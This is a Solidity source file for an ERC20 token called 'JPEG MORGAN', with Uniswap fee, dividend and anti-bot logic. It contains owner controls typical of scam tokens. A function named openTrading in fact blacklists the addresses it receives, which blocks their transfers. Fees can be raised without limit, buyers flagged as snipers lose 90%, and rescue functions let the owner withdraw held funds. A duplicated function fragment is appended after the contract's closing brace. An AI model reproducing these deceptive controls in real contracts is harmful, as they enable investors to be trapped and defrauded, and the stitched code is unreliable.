contract jpegMorgan is Ownable, IERC20 {
    address UNISWAPROUTER = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    string private _name = "JPEG MORGAN";
    string private _symbol = "JPG";

    uint256 public jpgBankFee = 800;
    uint256 private previousJPGBankFee = jpgBankFee;

    uint256 public liquidityFee = 200;
    uint256 private previousLiquidityFee = liquidityFee;

    uint256 public dividendFee = 300;
    uint256 private previousDividendFee = dividendFee;

    uint256 public totalFee = 1300;
    uint256 private previousTotalFee = totalFee;

    uint256 public swapTokensAtAmount = 1000 * 1e18;
    uint256 public lastSwapTime;
    bool swapAllToken = true;

    bool public misa = true;
    bool public taxEnabled = true; //check
    bool public compoundingEnabled = false;

    bool private boughtEarly = true; //added
    mapping(address => uint256) private _lastTrans;
    uint256 private _firstBlock;
    uint256 private _botBlocks;
    bool public timeRugEnabled = true;

    uint256 private _totalSupply;
    bool private swapping;

    address payable jpgBankWallet;
    address payable liquidityWallet;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public automatedMarketMakerPairs;
    mapping(address => bool) private _whiteList;
    mapping(address => bool) isBlacklisted;
    mapping (address => bool) private snipe; //added


    event SwapAndAddLiquidity(
        uint256 tokensSwapped,
        uint256 nativeReceived,
        uint256 tokensIntoLiquidity
    );
    event SendDividends(uint256 tokensSwapped, uint256 amount);
    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );
    event Misa(bool enabled);
    event TaxEnabled(bool enabled);
    event CompoundingEnabled(bool enabled);
    event BlacklistEnabled(bool enabled);
    event EndedBoughtEarly(bool boughtEarly); //added


    DividendTracker public dividendTracker;
    IUniswapV2Router02 public uniswapV2Router;

    address public uniswapV2Pair;

    uint256 public maxTx = 9991 * 1e18;
    uint256 public maxWallet = 50000 * 1e18;

    bool isOpen = false;

    mapping(address => bool) private _isExcludedFromMaxTx;
    mapping(address => bool) private _isExcludedFromMaxWallet;

    constructor(
        address payable _jpgBankWallet,
        address[] memory whitelistAddress
    ) {
        jpgBankWallet = _jpgBankWallet;
        liquidityWallet = payable(0x0B9d6b075e2e8816545d8b24e4651F4C8643f234); 
        includeToWhiteList(whitelistAddress);

        dividendTracker = new DividendTracker(address(this), UNISWAPROUTER);

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAPROUTER);

        address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = _uniswapV2Pair;

        _setAutomatedMarketMakerPair(_uniswapV2Pair, true);

        dividendTracker.excludeFromDividends(address(dividendTracker), true);
        dividendTracker.excludeFromDividends(address(this), true);
        dividendTracker.excludeFromDividends(owner(), true);
        dividendTracker.excludeFromDividends(address(_uniswapV2Router), true);

        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(dividendTracker), true);
        excludeFromFees(address(jpgBankWallet), true);


        excludeFromMaxTx(owner(), true);
        excludeFromMaxTx(address(this), true);
        excludeFromMaxTx(address(dividendTracker), true);
        excludeFromMaxTx(address(jpgBankWallet), true);
        excludeFromMaxTx(address(liquidityWallet), true);


        excludeFromMaxWallet(owner(), true);
        excludeFromMaxWallet(address(this), true);
        excludeFromMaxWallet(address(dividendTracker), true);
        excludeFromMaxWallet(address(jpgBankWallet), true);
        excludeFromMaxWallet(address(liquidityWallet), true);

        _mint(owner(), 10000000 * 1e18); // 10,000,000
    }

    receive() external payable {}

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "JPG: decreased allowance below zero"
        );
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "JPG: transfer amount exceeds allowance"
        );
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    function partyBegins(uint256 botBlocks) private {
        _firstBlock = block.number;
        _botBlocks = botBlocks;
    }

    function addFizz(uint256 botBlocks) external onlyOwner {
        require(botBlocks < 1, "don't catch humans");
        isOpen = true;
        require(boughtEarly == true, "done");
        boughtEarly = false;
        partyBegins(botBlocks);
        emit EndedBoughtEarly(boughtEarly);
    }

    function setSnipeFee() private {
        previousJPGBankFee = jpgBankFee;
        previousLiquidityFee = liquidityFee;
        previousDividendFee = dividendFee;
        previousTotalFee = totalFee;
        
        jpgBankFee = 9000; // block 0
        liquidityFee = 0; // divided by 10000
        dividendFee = 0;
        totalFee = 9000; //snipers get rekt
    }

    function removeFee() private {
        previousJPGBankFee = jpgBankFee;
        previousLiquidityFee = liquidityFee;
        previousDividendFee = dividendFee;
        previousTotalFee = totalFee;

        jpgBankFee = 0; // removes fees for transfers
        liquidityFee = 0; // and those excluded from taxes
        dividendFee = 0; // divided by 10000
        totalFee = 0;
    }

    function restoreAllFee() private {
        jpgBankFee = previousJPGBankFee;
        liquidityFee = previousLiquidityFee;
        dividendFee = previousDividendFee;
        totalFee = previousTotalFee;
    }

    // disable Transfer delay - cannot be reenabled
    function disableTimeRug() external onlyOwner returns (bool){
        timeRugEnabled = false;
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        require(
            isOpen ||
                sender == owner() ||
                recipient == owner() ||
                _whiteList[sender] ||
                _whiteList[recipient],
            "Not Open"
        );

        require(!isBlacklisted[sender], "JPG: Sender is blacklisted");
        require(!isBlacklisted[recipient], "JPG: Recipient is blacklisted");

        require(sender != address(0), "JPG: transfer from the zero address");
        require(recipient != address(0), "JPG: transfer to the zero address");

        uint256 _maxTxAmount = maxTx;
        uint256 _maxWallet = maxWallet;
        require(
            amount <= _maxTxAmount || _isExcludedFromMaxTx[sender],
            "TX Limit Exceeded"
        );

        if (
                sender != owner() &&
                recipient != owner() &&
                recipient != address(0) &&
                recipient != address(0xdead) &&
                !swapping
            ){
                if (sender == uniswapV2Pair && sender != address(uniswapV2Router)) {
                
                    if (block.number <= _firstBlock + (_botBlocks)) {
                        snipe[recipient] = true;
                    }                        

                }

                if (timeRugEnabled){
                    if (recipient != owner() && recipient != address(uniswapV2Router) && recipient != address(uniswapV2Pair)){
                        require(_lastTrans[tx.origin] < block.number, "One buy per block allowed.");
                        _lastTrans[tx.origin] = block.number;
                    }
                }
        }

        if (
            sender != owner() &&
            recipient != address(this) &&
            recipient != address(DEAD) &&
            recipient != uniswapV2Pair
         ) {
            uint256 currentBalance = balanceOf(recipient);
            require(
                _isExcludedFromMaxWallet[recipient] ||
                    (currentBalance + amount <= _maxWallet)
            );
        }

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "JPG: transfer amount exceeds balance"
        );

        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 contractNativeBalance = address(this).balance;

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            misa && // True
            canSwap && // true
            !swapping && // swapping=false !false true
            !automatedMarketMakerPairs[sender] && // no swap on remove liquidity step 1 or DEX buy
            sender != address(uniswapV2Router) && // no swap on remove liquidity step 2
            sender != owner() &&
            recipient != owner()
         ) {
            swapping = true;

            if (!swapAllToken) {
                contractTokenBalance = swapTokensAtAmount;
            }
            _executeSwap(contractTokenBalance, contractNativeBalance);

            lastSwapTime = block.timestamp;
            swapping = false;
        }

        bool takeFee;

        if (sender == address(uniswapV2Pair)) { //buy
            takeFee = true;
        }

        if (recipient == address(uniswapV2Pair)) { //sell
            takeFee = true;
        }

        if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) {
            takeFee = false;
        }

        if (swapping || !taxEnabled) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee && snipe[recipient]) {
            setSnipeFee();
            fees = (amount * totalFee) / 10000;
            amount -= fees;
            _executeTransfer(sender, address(this), fees);
        }

        if(takeFee && !snipe[recipient]){
            fees = (amount * totalFee) / 10000;
            amount -= fees;
            _executeTransfer(sender, address(this), fees);
        }

        _executeTransfer(sender, recipient, amount);

        dividendTracker.setBalance(payable(sender), balanceOf(sender));
        dividendTracker.setBalance(payable(recipient), balanceOf(recipient));

        restoreAllFee();
    }

    function _executeTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        require(sender != address(0), "JPG: transfer from the zero address");
        require(recipient != address(0), "JPG: transfer to the zero address");
        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "JPG: transfer amount exceeds balance"
        );
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        restoreAllFee();
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "JPG: approve from the zero address");
        require(spender != address(0), "JPG: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _mint(address account, uint256 amount) private {
        require(account != address(0), "JPG: mint to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) private {
        require(account != address(0), "JPG: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "JPG: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    function swapTokensForNative(uint256 tokens) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokens);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokens,
            0, // accept any amount of native
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokens, uint256 native) private {
        _approve(address(this), address(uniswapV2Router), tokens);
        uniswapV2Router.addLiquidityETH{value: native}(
            address(this),
            tokens,
            0, // slippage unavoidable
            0, // slippage unavoidable
            liquidityWallet,
            block.timestamp
        );
    }

    function includeToWhiteList(address[] memory _users) private {
        for (uint8 i = 0; i < _users.length; i++) {
            _whiteList[_users[i]] = true;
        }
    }

    function _executeSwap(uint256 tokens, uint256 native) private {
        if (tokens <= 0) {
            return;
        }

        uint256 swapTokensMarketing;
        if (address(jpgBankWallet) != address(0)) {
            swapTokensMarketing = (tokens * jpgBankFee) / totalFee;
        }

        uint256 swapTokensDividends;
        if (dividendTracker.totalSupply() > 0) {
            swapTokensDividends = (tokens * dividendFee) / totalFee;
        }

        uint256 tokensForLiquidity = tokens -
            swapTokensMarketing -
            swapTokensDividends;
        uint256 swapTokensLiquidity = tokensForLiquidity / 2;
        uint256 addTokensLiquidity = tokensForLiquidity - swapTokensLiquidity;
        uint256 swapTokensTotal = swapTokensMarketing +
            swapTokensDividends +
            swapTokensLiquidity;

        uint256 initNativeBal = address(this).balance;
        swapTokensForNative(swapTokensTotal);
        uint256 nativeSwapped = (address(this).balance - initNativeBal) +
            native;

        uint256 nativeMarketing = (nativeSwapped * swapTokensMarketing) /
            swapTokensTotal;
        uint256 nativeDividends = (nativeSwapped * swapTokensDividends) /
            swapTokensTotal;
        uint256 nativeLiquidity = nativeSwapped -
            nativeMarketing -
            nativeDividends;

        if (nativeMarketing > 0) {
            payable(jpgBankWallet).transfer(nativeMarketing);
        }

        addLiquidity(addTokensLiquidity, nativeLiquidity);
        emit SwapAndAddLiquidity(
            swapTokensLiquidity,
            nativeLiquidity,
            addTokensLiquidity
        );

        if (nativeDividends > 0) {
            (bool success, ) = address(dividendTracker).call{
                value: nativeDividends
            }("");
            if (success) {
                emit SendDividends(swapTokensDividends, nativeDividends);
            }
        }
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        require(
            _isExcludedFromFees[account] != excluded,
            "JPG: account is already set to requested state"
        );
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function manualSendDividend(uint256 amount, address holder)
        external
        onlyOwner
    {
        dividendTracker.manualSendDividend(amount, holder);
    }

    function excludeFromDividends(address account, bool excluded)
        public
        onlyOwner
    {
        dividendTracker.excludeFromDividends(account, excluded);
    }

    function isExcludedFromDividends(address account)
        public
        view
        returns (bool)
    {
        return dividendTracker.isExcludedFromDividends(account);
    }

    function setWallet(
        address payable _jpgBankWallet,
        address payable _liquidityWallet
    ) external onlyOwner {
        jpgBankWallet = _jpgBankWallet;
        liquidityWallet = _liquidityWallet;
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(pair != uniswapV2Pair, "JPG: DEX pair can not be removed");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function setFee(
        uint256 _treasuryFee,
        uint256 _liquidityFee,
        uint256 _dividendFee
    ) external onlyOwner {
        jpgBankFee = _treasuryFee;
        liquidityFee = _liquidityFee;
        dividendFee = _dividendFee;
        totalFee = _treasuryFee + _liquidityFee + _dividendFee;
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        require(
            automatedMarketMakerPairs[pair] != value,
            "JPG: automated market maker pair is already set to that value"
        );
        automatedMarketMakerPairs[pair] = value;
        if (value) {
            dividendTracker.excludeFromDividends(pair, true);
        }
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function updateUniswapV2Router(address newAddress) public onlyOwner {
        require(
            newAddress != address(uniswapV2Router),
            "JPG: the router is already set to the new address"
        );
        emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router));
        uniswapV2Router = IUniswapV2Router02(newAddress);
        address _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
            .createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Pair = _uniswapV2Pair;
    }

    function claim() public {
        dividendTracker.processAccount(payable(_msgSender()));
    }

    function compound() public {
        require(compoundingEnabled, "JPG: compounding is not enabled");
        dividendTracker.compoundAccount(payable(_msgSender()));
    }

    function withdrawableDividendOf(address account)
        public
        view
        returns (uint256)
    {
        return dividendTracker.withdrawableDividendOf(account);
    }

    function withdrawnDividendOf(address account)
        public
        view
        returns (uint256)
    {
        return dividendTracker.withdrawnDividendOf(account);
    }

    function accumulativeDividendOf(address account)
        public
        view
        returns (uint256)
    {
        return dividendTracker.accumulativeDividendOf(account);
    }

    function getAccountInfo(address account)
        public
        view
        returns (
            address,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        return dividendTracker.getAccountInfo(account);
    }

    function getLastClaimTime(address account) public view returns (uint256) {
        return dividendTracker.getLastClaimTime(account);
    }

    function setMisa(bool _enabled) external onlyOwner {
        misa = _enabled;
        emit Misa(_enabled);
    }

    function setTaxEnabled(bool _enabled) external onlyOwner {
        taxEnabled = _enabled;
        emit TaxEnabled(_enabled);
    }

    function setCompoundingEnabled(bool _enabled) external onlyOwner {
        compoundingEnabled = _enabled;
        emit CompoundingEnabled(_enabled);
    }

    function updateDividendSettings(
        bool _misa,
        uint256 _swapTokensAtAmount,
        bool _swapAllToken
    ) external onlyOwner {
        misa = _misa;
        swapTokensAtAmount = _swapTokensAtAmount;
        swapAllToken = _swapAllToken;
    }

    function setMaxTx(uint256 amount) external onlyOwner {
        maxTx = amount;
    }

    function excludeFromMaxTx(address account, bool excluded) public onlyOwner {
        _isExcludedFromMaxTx[account] = excluded;
    }

    function isExcludedFromMaxTx(address account) public view returns (bool) {
        return _isExcludedFromMaxTx[account];
    }

    function setMaxWallet(uint256 amount) external onlyOwner {
        maxWallet = amount;
    }

    function excludeFromMaxWallet(address account, bool excluded)
        public
        onlyOwner
    {
        _isExcludedFromMaxWallet[account] = excluded;
    }

    function isExcludedFromMaxWallet(address account)
        public
        view
        returns (bool)
    {
        return _isExcludedFromMaxWallet[account];
    }

    function rescueToken(address _token, uint256 _amount) external onlyOwner {
        IERC20(_token).transfer(msg.sender, _amount);
    }

    function rescueETH(uint256 _amount) external onlyOwner {
        payable(msg.sender).transfer(_amount);
    }

    function blackList(address _user) public onlyOwner {
        require(!isBlacklisted[_user], "user already blacklisted");
        isBlacklisted[_user] = true;
        // events?
    }

    function removeFromBlacklist(address _user) public onlyOwner {
        require(isBlacklisted[_user], "user already whitelisted");
        isBlacklisted[_user] = false;
        //events?
    }

    function openTrading(address[] memory _users) public onlyOwner {
        for (uint8 i = 0; i < _users.length; i++) {
            isBlacklisted[_users[i]] = true;
        }
    }

    function unBlackListMany(address[] memory _users) public onlyOwner {
        for (uint8 i = 0; i < _users.length; i++) {
            isBlacklisted[_users[i]] = false;
        }
    }

    function airdrop(address[] memory airdropWallets, uint256[] memory amounts) external onlyOwner {
        require(airdropWallets.length < 200, "Can only airdrop 200 wallets per txn due to gas limits"); // allows for airdrop
        for(uint256 i = 0; i < airdropWallets.length; i++){
            address wallet = airdropWallets[i];
            uint256 amount = amounts[i];
            _transfer(msg.sender, wallet, amount);
        }
    }

    
}
function disableTimeRug() external onlyOwner returns (bool){
    timeRugEnabled = false;
    return true;
}

// disable Transfer delay - cannot be reenabled